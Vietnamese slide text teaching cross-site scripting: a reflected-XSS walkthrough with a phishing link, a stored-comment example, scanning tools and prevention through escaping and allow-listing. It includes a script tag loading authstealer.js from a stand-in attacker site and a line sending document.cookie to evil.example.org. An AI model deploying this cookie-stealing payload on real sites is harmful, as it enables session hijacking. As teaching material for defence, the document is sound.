Khái niệm•Lỗi XSS xảy ra khi một ứng dụng nhận vào những dữ liệu không đáng tin và gửi những dữ liệu đấy cho trình duyệt của người dùng
• Ví dụ:một đoạn Javascript:<script%20src="http://mallorysevilsite.com/authstealer.js">
•Lỗi XSS thường giúp người khai thác chiếm phiên đăng nhập của người dùng, “deface” trang web hay dẫn người dùng đến những trang web lừa đảo
A dùng trang web của B
Trang web của B cho phép A lập tài khoản và chứa những thông tin riêng tư
Trang web của B có lỗi XSS trong chức năng tìm kiếm
http://bobssite.org?q=search term
search term
Non-persistentVí dụ
• Chức năng tìm kiếm của trang web khi nhận được một query:
• Trang web sẽ hiện ra
"http://bobssite.org?q=puppies
http://bobssite.org?q=puppies
puppies
puppies not found
• Chức năng tìm kiếm của trang web khi nhận được một query bất thường như:
• Trang web sẽ hiện ra
<script type='text/javascript'>alert('pwnd');</script>
http://bobssite.org?q=<script…
<script ….
<script …. not foundpwnd
• C tìm ra lỗi này của trang web B
• C tạo ra URL
• C gửi URL cho những thành viên của trang web B
http://bobssite.org?q=puppies<script%20src="http://mallorysevilsite.com/authstealer.js">
Check out this cute puppy. http://bobssite.org?q=puppies<script%20….
From: [email protected]
•A nhận được email và click vào link
•Link dẫn đến trang web của B và hiện ra “puppies not found”
•Script authstealer.js trong URL được thực hiện
•Script này lấy thông tin xác thực của A và gửi cho trang web của C
Ví dụ: một đoạn trong authstealer.jsnew Image().src ='http://evil.example.org/steal.php?cookies=' + encodeURI(document.cookie);
Persistent
Với dạng Persistent, đoạn mã chèn thêm vào được lưu trữ trên server, như trong CSDL dưới dạng các comment trong blog, message trong forum hoặc các visitor log.
• Thay vì nhập vào lời nhắn bình thường, ta nhập vào đoạn mã sau:
• Kết quả
Xin <script>alert(“XSS”)</script>chào!
Công cụ tìm kiếm lỗi XSS
Có khá nhiều công cụ miễn phí và thương mại để tìm kiếm lỗi XSS
Grabber
ZAP (OWASP)
Wapiti
• “Escape” tất cả những dữ liệu không đáng tin cậy một cách hợp lý khi dữ liệu được đưa vào
• Ví dụ:
• Tham khảo thêm về HTML escaping:
• Lập danh sách những dữ liệu được phép nhập vào• Ví dụ: Chỉ được nhập chữ cái, không được nhập ký tự đặc biệt
• Với những dữ liệu như hình ảnh, video, có thể dùng những thư viện kiểm tra tự động như AntiSamy (OWASP)
& --> & < --> < > --> >
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
Tham khảo thêm về dự án AntiSamy: https://www.owasp.org/index.php/AntiSamy
Cách phòng chống